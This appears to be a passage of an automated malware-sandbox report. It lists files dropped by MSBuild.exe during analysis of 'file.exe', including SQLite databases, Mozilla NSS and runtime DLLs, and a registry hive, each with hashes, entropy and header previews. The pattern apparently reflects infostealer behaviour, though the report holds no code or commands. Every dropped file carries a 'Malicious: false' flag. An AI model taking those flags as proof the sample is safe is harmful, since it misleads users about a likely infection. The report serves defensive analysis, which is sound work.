SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\GIJDAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\HDBGHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\HDBGHD-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\IEHDBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\IEHDBG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCA\IJECBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CR0QGWXdDl.exe, Detection: malicious, Browse Filename: MSCy5UvBYg.exe, Detection: malicious, Browse Filename: E7Bu6a7eve.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cmBxQ7gA5a.exe, Detection: malicious, Browse Filename: vmgon5Zqja.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:7DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD/:b
MD5:	6EE8EAE563D53F44DB689CCACC74518A
SHA1:	F5E766A4FAAAC674DF1DFB707F6557B67BEBE99B
SHA-256:	026C36B9A06D768D2FB47BCA10D1401795F9277686316C9E4C4DC0C083C5F092
SHA-512:	657B09A4FFCC0038D7977DDC28C046FE4197F3435544AAAA1DD2D65C17EBBB4050A3D2B00690F0F0B22E9FB08C456C314655B5D075F4EB614FE72DA7725AFC02
Malicious:	false
Preview:	ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462924428138438
Encrypted:	false
SSDEEP:	6144:NIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:eXD94+WlLZMM6YFHg+n
MD5:	D029B728507CAAC177262AA0AEA0467B
SHA1:	D66D7AD169049D74D748564BAAF4A8C85E488C5C
SHA-256:	7BDF2ACA6BAE98F40632DC119E4E641B5C89E8B4C08A24D480FE2FB7FAE1AB86
SHA-512:	222EE10B6C6B6C2A2C05090EBC6BEAA1757C6A692C8CBC8C14371813F3570ECDBF729D2D4170501EC21A578988A665577272312D0E2EF5F14EDBACA2C8B3C418
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.2\|tV.................................................................................................................................................................................................................................................................................................................................................k@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.753961615470216
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	594'296 bytes
MD5:	f285025345a7381fe9a451bfd0e07947
SHA1:	8b706e32e1c7f3c4c0ac4fc9583b480397cc5f72
SHA256:	49a7f82743a038d7a570d5d5d8ecb92f369f0e6dbba6532674c4789f0daf9b31
SHA512:	9eb59e02efb12dd48ac86f2ea74a0ceaa47eaf24a4b163e64bd6ca5526e618961e1d69c0a1c649ededfe95d8dbf884331e2123179aab9a4c37a239b0fc24aaec
SSDEEP:	12288:DKvqQnYbvtKamEgDyaygEGAVfhczsBmx4YSbgihUrKw:DKRnYjhdgDyayBGYFBmxCbwp
